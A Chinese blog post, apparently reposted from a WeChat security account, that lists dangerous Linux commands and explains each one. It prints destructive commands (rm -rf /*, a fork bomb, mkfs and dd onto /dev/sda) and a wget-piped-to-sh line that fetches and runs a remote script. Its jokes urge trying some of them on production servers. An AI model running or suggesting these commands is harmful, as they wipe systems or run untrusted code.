在Linux中有很多好玩的命令,有些命令能让你永生不忘!一起来看看吧。
rm -rf /*
rm -rf
命令是删除文件夹及其内容最快的方式之一。现对这条命令进行解读。
rm
命令在Linux下通常用来删除文件。
rm -r
命令递归的删除文件夹
rm -f
命令能不经过询问直接删除rm -rf /*
: 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
表哥提示: 如果是普通文件,尽量当文件的当前目录删除。不要去切换到/
(根目录)。同时平时的文件操作用普通管理员登录系统就可以,不要用root
账号。
: (){:|:&} ; :
这就是个fork
炸弹的实例。具体操作是通过定义一个名为 :
的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。:(){:|:&};:
要不在公司正式的服务器上实验下。
> /dev/sda
上列命令会将某个命令的输出写到块设备/dev/sda
中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
mv 文件夹 /dev/null
这个命令会移动某个文件夹
到/dev/null
。在Linux中 /dev/null
或null
设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。如下面命令
mv /home/user/* /dev/null
会将User
目录所有内容移动到/dev/null
,这意味着所有东西都放入到了null
之中。
wget http://t.cn/RXefmSn -O- | sh
上列命令会从一个恶意脚本并执行。Wget
命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。有条件的小伙伴快去试试吧!
mkfs.ext3 /dev/sda
上列命令会格式化块设备sda
就好比是格式化了整块磁盘。以下是Linux中主要的几个文件,这里顺便加以说明:
-
/bin
存放常用系统命令,ls
、cp
、rm
、chmod
等常用命令都在此目录; -
/boot
系统启动目录,保存与系统启动相关的文件,如内核文件和启动引导程序; -
/dev
设备文件保存位置; -
/lib
存放程序所需的动态库和静态库文件;
> file
上列命令常用来清空文件内容。将空内容写入到当前的文件。因为已经写入了,是没有办法撤回的。
dd if=/dev/random of=/dev/sda
上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!因为写入了新的数据,想要恢复就困难了。
更多精彩文章 欢迎关注我们
原文始发于微信公众号(kali黑客笔记):跟着表哥学运维之危险的Linux命令
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论